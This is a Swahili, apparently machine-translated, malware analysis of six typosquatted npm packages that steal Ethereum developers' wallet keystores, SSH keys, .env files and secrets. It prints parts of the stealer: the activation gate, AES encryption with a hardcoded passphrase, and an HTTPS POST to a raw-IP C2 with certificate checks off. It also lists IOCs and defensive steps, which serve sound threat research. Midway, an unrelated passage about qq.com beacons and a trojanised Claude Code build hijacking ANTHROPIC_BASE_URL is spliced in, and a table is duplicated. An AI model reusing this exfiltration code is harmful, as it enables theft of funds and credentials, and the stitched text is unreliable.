TL; DR
Mnamo Mei 6, 2026, mchapishaji mmoja wa npm, namikazesarada010206, ilisukuma vifurushi sita hasidi vinavyolenga mfumo ikolojia wa wasanidi programu wa Ethereum, Solidity, na DeFi.
Vifurushi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, na web3-utils-core, ilitumia majina yanayowezekana yaliyoundwa kuonekana kama maktaba za usaidizi kwa zana maarufu za Web3.
Vifurushi vyote sita vilikuwa na telemetry.js faili. Faili ilikuwa sawa na baiti katika kundi lote, ikiwa na SHA-256:
Programu hasidi haitekelezi wakati wa kusakinisha. Hakuna preinstall or postinstall ndoano. Badala yake, huwashwa wakati kifurushi kinapoingizwa kupitia require().
Maelezo hayo yana umuhimu.
Kipandikizi husubiri hadi msanidi programu atumie kifurushi hicho. Kisha huangalia kama kituo cha kazi kinaonekana kama mazingira halisi ya ukuzaji wa Ethereum / Uthabiti. Hutafuta funguo za Alchemy au Infura, funguo za kibinafsi, kumbukumbu, funguo za kupeleka, au saraka ya Foundry ya ndani.
Ikiwa mwenyeji atalingana, mwizi hukusanya funguo za kibinafsi za SSH, maduka ya funguo za mkoba wa Foundry / Geth / Brownie, .env* faili, na vigeu nyeti vya mazingira. Husimba kifurushi kwa kutumia AES-256-GCM kwa kutumia kaulisiri ngumu na kuichuja hadi kwenye sehemu ya mwisho ya IPv4 C2 ghafi huku uthibitishaji wa TLS ukizimwa.
Mfumo wa Xygeni wa Onyo la Mapema la Programu Hasidi (MEW) ulithibitisha vifurushi vyote sita kuwa ni hatari. Kifurushi cha ripoti ya uondoaji wa usajili wa npm kinasubiri kushughulikiwa.
Kundi: Vifurushi Sita, Mchapishaji Mmoja
Akaunti ya mchapishaji namikazesarada010206 iliunganishwa na anwani ya Gmail ambayo haijathibitishwa namikazesarada010206@gmail.com.
Kampeni hiyo ilionekana kama chapisho la siku moja mnamo Mei 6, 2026. Vifurushi vyote sita vilichapishwa kama 1.0.0, haikuwa na utegemezi wowote wa muda wa utekelezaji, na ilisafirisha faili tatu pekee:
package.json index.js telemetry.js Pia walitangaza hazina hiyo hiyo ya chanzo:
https://github.com/harunosakura030303-maker/evmchain-config Vifurushi vitatu vya kwanza vilinaswa na skana za MEW kwenye chapisho la kwanza. Vifurushi vitatu vilivyobaki vilitiwa alama kwa nguvu baada ya ukaguzi wa mchambuzi wa wasifu wa npm wa mchapishaji. Mara moja vilikuwa sawa na baiti telemetry.js ilithibitishwa kote katika kundi, zilifungwa kama zenye nia mbaya kwa uthabiti.
| mfuko | version | Imechapishwa npm | Tikiti ya MEW | Uamuzi |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Malicious |
| msingi wa matumizi ya viem | 1.0.0 | 2026-05-06 | #51050 | Malicious |
| vifaa-vya-msingi-vya-hardhat | 1.0.0 | 2026-05-06 | #51051 | Malicious |
| matumizi ya eVM | 1.0.0 | 2026-05-06 | #51069 | Hasidi, kwa uthabiti |
| vifaa vya uchongaji | 1.0.0 | 2026-05-06 | #51071 | Hasidi, kwa uthabiti |
| msingi wa matumizi ya wavuti3 | 1.0.0 | 2026-05-06 | #51070 | Hasidi, kwa uthabiti |
Mkakati wa kutaja majina ni rahisi lakini wenye ufanisi.
Vifurushi hivi haviigi majina halisi ya mkondo wa juu. Badala yake, hutumia viambishi tamati vinavyowezekana vya "manufaa" kama vile -core, -utils, na -utils-coreHilo huzifanya zionekane kama maktaba saidizi ambazo msanidi programu anaweza kutarajia kuziona karibu na uundaji wa zana za Web3.
| Kifurushi Hasidi | Lengo Halali |
|---|---|
| viem-core | viem, mteja maarufu wa Ethereum TypeScript |
| msingi wa matumizi ya viem | viem |
| vifaa-vya-msingi-vya-hardhat | hardhat, mazingira ya kawaida ya maendeleo ya Uthabiti |
| matumizi ya eVM | Nafasi ya majina ya zana za EVM za jumla |
| vifaa vya uchongaji | uundaji wa vinu, mnyororo wa vifaa vya Uthabiti |
| msingi wa matumizi ya wavuti3 | vifaa vya wavuti3, wasaidizi wa Web3.js |
Huu ndio mpangilio wa "kifurushi cha ziada": si "Mimi ndiye kifurushi halisi," bali "Ninaonekana kama msaidizi mzuri karibu na kifurushi halisi."
Kwa watengenezaji wa DeFi wanaofanya kazi haraka, hiyo inatosha kuunda hatari.
Kinachotokea Wakati Kifurushi Kinapoingizwa
Msururu wa mashambulizi ni mdogo, wa makusudi, na unalenga mazingira ya ukuzaji wa crypto.
Hakuna ndoano ya usakinishaji. Badala yake, kila kifurushi kina index.js ambayo husafirisha utendaji wa stub na kisha kupakia moduli hasidi ya telemetri.
require('./telemetry').init(); Hii ina maana kwamba programu hasidi huanza kutumika mara ya kwanza kuingizwa.
Hilo ni muhimu kiutendaji kwa mshambuliaji. Vichanganuzi na visanduku vingi vya majaribio huzingatia tabia ya muda wa kusakinisha. Kifurushi hiki husubiri hadi kitumiwe na msanidi programu, hati ya ujenzi, seti ya majaribio, au njia ya muda wa utekelezaji.
Lango la Uanzishaji: Fire Only on Real Web3 Developer Workstations
Sehemu muhimu zaidi ya kipandikizi ni lango la uanzishaji.
Programu hasidi huangalia vigezo vya mazingira vinavyopatikana kwa kawaida kwenye mashine za wasanidi programu wa Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Pia huangalia kama Foundry inaonekana imewekwa:
fs.existsSync(path.join(os.homedir(), '.foundry')) Ikiwa hakuna sharti lolote lililo sahihi, chaguo-msingi hurejea na hakifanyi chochote.
Hilo hufanya kifurushi kiwe kimya zaidi katika mazingira ya uchambuzi wa jumla. Kisanduku cha mchanga kisicho na Foundry, funguo za Alchemy, funguo za Infura, funguo za kibinafsi, au kumbukumbu za kumbukumbu kinaweza kuonekana kama kitu kisicho na madhara.
Kwenye seva mwenyeji inayolingana, programu hasidi husubiri sekunde 60 hadi 90 kabla ya kukusanywa:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Ucheleweshaji huo hupunguza uhusiano dhahiri kati ya uingizaji na uchujaji. .unref() call pia huruhusu mchakato wa mwenyeji kutoka kawaida ikiwa kifurushi kiliingizwa katika hati ya muda mfupi.
Huu si tabia ya kupiga kelele na kunyakua. Ni mwizi anayelengwa aliyeundwa ili kuepuka kukimbia isipokuwa mazingira ya msanidi programu yanafaa kuibwa.
Kile Mwizi Anachokusanya
Mara tu lango la uanzishaji likipita, programu hasidi hukusanywa kutoka kwa vyanzo muhimu zaidi katika uundaji wa Web3: funguo za faragha, maduka ya funguo za pochi, sifa za uwasilishaji, siri za wingu, tokeni za npm, na usanidi wa mradi wa ndani.
| chanzo | Kinachokusanywa |
|---|---|
| mchakato.env | Ulinganishaji wowote wa kigezo /TOKEN|SIRI|UFUNGUO|PASILISHA|IDHINISHO|BINAFSI|MBEGU|MNEMONIC|AWS|NPM|TUMIA/i |
| ~/.ssh/* | Faili zenye Ufunguo wa PRIVATE au BEGIN OPENSSH, ikijumuisha maudhui kamili ya faili |
| ~/.uchimbaji/maduka ya funguo/* | Faili za funguo za duka la pochi ya Foundry |
| ~/.ethereum/duka la funguo/* | Faili za duka la funguo za pochi ya Geth |
| ~/.brownie/akaunti/* | Faili za duka la funguo za pochi ya Brownie |
| ${cwd}/.env | Maudhui kamili ya faili |
| ${cwd}/.env.local | Maudhui kamili ya faili |
| ${cwd}/.env.uzalishaji | Maudhui kamili ya faili |
| ${cwd}/.env.development | Maudhui kamili ya faili |
| jina la mwenyeji () | Metadata ya seva pangishi |
| crypto.randomUUID() | Kitambulisho cha mwathiriwa/kikao |
| Tarehe.sasa() | Muhuri wa muda wa ukusanyaji |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Tokeni za ATTA ni:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Hatujaweza kuthibitisha kama telemetri ilikuwa uchanganuzi wa mwendeshaji mwenyewe au njia tofauti ya uchumaji mapato. Tokeni za ATTA ni sawa katika sampuli zote mbili tulizozichunguza.
Kundi B: heibai
claude.hk Ulaghai wa OAuth + Utekaji nyara wa ANTHROPIC_BASE_URL
Sampuli ya Aprili 1 ndiyo iliyotumika mapema zaidi katika kampeni.
heibai:2.1.88-claude.hk-4 ilichapishwa na wuguoqiangvip28, akaunti iliyoundwa Juni 7, 2025. Kifurushi hicho kilijitoa waziwazi dhidi ya halali 2.1.88 Kutolewa kwa Anthropic.
Haijalishi CA-cert MITM. Badala yake, inamdanganya mtumiaji kuhusu mwisho wa OAuth.
Nyongeza hasidi juu ya chanzo cha Claude Code kilichovuja ni pamoja na:
| chanzo | Kinachokusanywa |
|---|---|
| mchakato.env | Ulinganishaji wowote wa kigezo /TOKEN|SIRI|UFUNGUO|PASILISHA|IDHINISHO|BINAFSI|MBEGU|MNEMONIC|AWS|NPM|TUMIA/i |
| ~/.ssh/* | Faili zenye Ufunguo wa PRIVATE au BEGIN OPENSSH, ikijumuisha maudhui kamili ya faili |
| ~/.uchimbaji/maduka ya funguo/* | Faili za funguo za duka la pochi ya Foundry |
| ~/.ethereum/duka la funguo/* | Faili za duka la funguo za pochi ya Geth |
| ~/.brownie/akaunti/* | Faili za duka la funguo za pochi ya Brownie |
| ${cwd}/.env | Maudhui kamili ya faili |
| ${cwd}/.env.local | Maudhui kamili ya faili |
| ${cwd}/.env.uzalishaji | Maudhui kamili ya faili |
| ${cwd}/.env.development | Maudhui kamili ya faili |
| jina la mwenyeji () | Metadata ya seva pangishi |
| crypto.randomUUID() | Kitambulisho cha mwathiriwa/kikao |
| Tarehe.sasa() | Muhuri wa muda wa ukusanyaji |
Orodha ya walengwa ni mahususi sana. Huu si wizi wa kivinjari wa kawaida au uchakataji mpana wa vitambulisho. Unalenga wasanidi programu wanaojenga, wanaojaribu, wanaosambaza, au wanaoendesha programu za Ethereum.
Kujumuishwa kwa maduka ya funguo ya Foundry, Geth, na Brownie ni muhimu sana. Faili hizi zinaweza kuwakilisha ufikiaji wa moja kwa moja wa pochi au vitambulisho vya uwasilishaji. Ikiwa mshambuliaji anaweza kuziunganisha na manenosiri, kumbukumbu, au siri za mazingira, anaweza kuhamisha fedha, kuiga wasambazaji, au kuathiri shughuli za mikataba mahiri.
Usimbaji Fiche Kabla ya Kuondolewa
Programu hasidi husimba data iliyokusanywa kabla ya kuituma.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Nenosiri lililosimbwa kwa msimbo mgumu ni:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Mzigo wa mwisho umefungwa kama JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Usimbaji fiche haufanyi programu hasidi kuwa ya hali ya juu zaidi peke yake. Hata hivyo, hufanya ukaguzi wa mtandao kuwa mgumu zaidi. Mtetezi anayeangalia kutoka ataona mzigo wa JSON, lakini si funguo zilizoibiwa, faili za pochi, au .env maudhui bila kaulisiri ngumu na mantiki ya usimbaji fiche.
Kuchuja hadi kwenye IPv4 C2 ghafi
Njia ya kuchuja imesimbwa kwa njia ngumu:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Programu hasidi hutuma data kwa:
https://76.13.37.80:8443/api/v1/telemetry Maelezo mawili yanajitokeza.
Kwanza, C2 ni anwani ghafi ya IPv4 badala ya kikoa. Hiyo huondoa hitaji la usajili wa kikoa na huepuka baadhi ya ugunduzi unaotegemea kikoa.
Pili, uthibitishaji wa TLS umezimwa na:
rejectUnauthorized: false Hiyo inaruhusu programu hasidi kukubali cheti chochote, ikiwa ni pamoja na vyeti vilivyosainiwa na mtu binafsi. Kwa maneno mengine, mshambuliaji hupokea usafiri uliosimbwa kwa njia fiche bila kuhitaji cheti halali cha umma.
Hakuna mantiki ya kujaribu tena na hakuna seva pangishi inayoweza kurudi nyuma. Hitilafu humezwa kimya kimya. Hii huweka kifurushi kimya ikiwa C2 haiko mtandaoni au haipatikani.
Kwa Nini Kampeni Hii Ni Muhimu
Vifurushi vingi vya npm vyenye nia mbaya kwa watengenezaji kufuata sifa pana: tokeni za npm, funguo za AWS, tokeni za GitHub, au .npmrc files.
Kampeni hii inapunguza lengo.
Inatafuta ishara kwamba mashine hiyo ni ya msanidi programu wa Ethereum au Solidity. Kisha huvuta mali muhimu katika mazingira hayo: maduka ya funguo za pochi, funguo za kibinafsi, kumbukumbu, funguo za msambazaji, .env faili, na funguo za SSH.
Hilo hufanya kampeni hiyo kuwa hatari zaidi kwa timu za Web3 kuliko mwizi wa kawaida wa npm.
Maambukizi yaliyofanikiwa yanaweza kufichua:
- Pochi za usambazaji
- Funguo mahiri za msimamizi wa mkataba
- Funguo za mtoa huduma wa RPC
- Vitambulisho vya kusambaza kwenye wingu
- tokeni za kuchapisha za npm
- Ufikiaji wa SSH kwa msanidi programu au miundombinu ya ujenzi
- Siri za mradi zilizohifadhiwa katika
.envfiles - Maduka ya funguo za pochi kwa Foundry, Geth, au Brownie
Majina ya vifurushi pia yanaonyesha uhandisi wa kijamii ulio wazi. Yanalenga mfumo ikolojia wa wasanidi programu wa Web3 kupitia majina ya zana yanayojulikana: viem, hardhat, foundry, evm, na web3.
Muigizaji hahitaji kuathiri miradi halisi. Anahitaji tu msanidi programu ili kusakinisha kile kinachoonekana kama kifurushi rafiki kinachofaa.
Viashiria vya Maelewano na Kugundua
| Vifurushi na Mchapishaji | |
|---|---|
| Shamba | Thamani |
| mchapishaji wa npm | namikazesarada010206 |
| Barua pepe ya mchapishaji | namikazesarada010206@gmail.com |
| Barua pepe imethibitishwa | Hapana |
| SCM kuthibitishwa | Hapana |
| Alama ya sifa | 1.0 |
| Packages | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| matoleo | Zote 1.0.0 |
| Hifadhi chanzo | https://github.com/harunosakura030303-maker/evmchain-config |
| Imethibitishwa kuwa ni hasidi | Vifurushi vyote sita |
| Mtandao | |
|---|---|
| aina | Thamani |
| Sehemu ya mwisho ya C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Lango la C2 | 8443/tcp |
| Tabia ya TLS | kukataa Isiyoidhinishwa: si kweli |
| Mpango wa mzigo | {"v":2,"iv": ,"d": "t": } |
| Faili na Hashi | |
|---|---|
| aina | Thamani |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Mpangilio wa kifurushi | kifurushi.json, index.js, telemetry.js |
| Idadi ya faili | 3 |
| Makadirio ya ukubwa wa jumla | 3.4 KB |
Ishara za Uanzishaji
Programu hasidi huangalia vigezo hivi vya mazingira:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Pia huangalia:
~/.foundry/ Njia za Mwenyeji Zinazolengwa
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Mkusanyiko wa Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Vidokezo vya Kugundua
Sheria kadhaa zinaathiri kampeni hii bila kuhitaji uchambuzi kamili wa tabia.
Kwanza, changanua faili za kufuli kwa majina sita ya vifurushi hasidi:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Mechi yoyote katika package-lock.json, yarn.lock, pnpm-lock.yaml, Au node_modules historia inapaswa kuchukuliwa kama tukio kubwa.
Pili, ufuatiliaji wa michakato ya Node.js ya kusoma njia za duka la funguo za pochi:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Hii mara chache huwa tabia halali kwa kifurushi kilichoingizwa kama utegemezi wa msaidizi. Huwa na shaka hasa kinapofuatwa na shughuli za mtandao zinazotoka.
Tatu, zuia au tahadhari kwenye miunganisho ya HTTPS kwa:
76.13.37.80:8443 Hasa wakati njia ya ombi ni:
/api/v1/telemetry Nne, tafuta vifurushi vya npm vinavyochanganya sifa hizi:
- Mchapishaji mpya au mwenye sifa duni
- Akaunti ya Gmail ambayo haijathibitishwa
- Jina la kifurushi kilicho karibu na Web3
- Hakuna historia yenye maana ya hifadhi
- Mpangilio mdogo wa kifurushi
index.jsambayo hupakia telemetry au faili ya msaidizi- Hakuna utegemezi wa wakati wa utekelezaji
- Mkusanyiko nyeti wa mabadiliko ya mazingira
- Ufikiaji wa duka la funguo za pochi
Muundo huu ni muhimu zaidi kuliko IOC moja kwa sababu kifurushi kinachofuata kinaweza kubadilisha anwani ya IP lakini kiendelee na mantiki ile ile ya kulenga.
Orodha ya Ukaguzi wa Majibu ya Maelewano
Ikiwa msanidi programu alitumia moja ya vifurushi sita na mazingira yake yakilingana na lango la uanzishaji, chukulia kituo cha kazi kama kimeathiriwa.
Hiyo inajumuisha mashine zilizosakinishwa na Foundry, funguo za Alchemy au Infura katika mazingira, funguo za kibinafsi, kumbukumbu, au funguo za kusambaza data.
Jibu linalopendekezwa:
- Tenganisha seva mwenyeji kutoka kwa mtandao.
- Hifadhi
node_modules, faili za kufuli, historia ya ganda, na kumbukumbu husika za uchunguzi wa kimatibabu. - Zungusha kila jozi ya vitufe vya SSH chini ya
~/.ssh/. - Zungusha funguo za pochi kwa kila duka la funguo chini ya
~/.foundry,~/.ethereum, na~/.brownie. - Hamisha pesa kwenye pochi mpya.
- Zungusha kila siri iliyohifadhiwa ndani
.env*faili katika hazina ambazo msanidi programu alifanya kazi ndani yake. - Zungusha siri za mazingira zinazolingana na regex ya mkusanyiko, ikiwa ni pamoja na funguo za AWS, tokeni za npm, tokeni za kupeleka, funguo za API, funguo za faragha, mbegu, na kumbukumbu.
- Ukaguzi wa wingu, npm, GitHub, mtoa huduma wa RPC, na shughuli za blockchain tangu kifurushi kiliposakinishwa kwa mara ya kwanza.
- Taswira upya ya kituo cha kazi kabla ya kutumia tena.
Mambo Ambayo Watetezi Wanapaswa Kuondoa
Kampeni hii inaonyesha jinsi uchapaji wa npm unavyobadilika kulingana na mifumo ikolojia ya wasanidi programu wenye thamani kubwa.
Muigizaji hakuhitaji uvumilivu. Hawakuhitaji kuficha hisia. Hawakuhitaji hata utekelezaji wa wakati wa usakinishaji.
Badala yake, walitegemea mambo matatu:
- Majina ya vifurushi vya Web3 vinavyowezekana
- Uanzishaji pekee kwenye mashine halisi za uundaji wa crypto
- Wizi wa moja kwa moja wa faili na siri ambazo ni muhimu zaidi kwa watengenezaji wa Ethereum
Hilo hufanya kampeni hiyo iwe rahisi kukosa katika skanisho pana na kuwa hatari inapotua katika mazingira sahihi.
Kwa timu za Web3, somo liko wazi: chukulia majina ya utegemezi kama sehemu ya mfumo wako wa vitisho. Kifurushi kinachoonekana kama msaidizi asiye na madhara bado kinaweza kuwa njia fupi zaidi ya kufikia makubaliano ya mkoba.
Imeripotiwa kwenye sajili ya npm. Tutasasisha chapisho hili akaunti ya mchapishaji na vifurushi vitaondolewa.




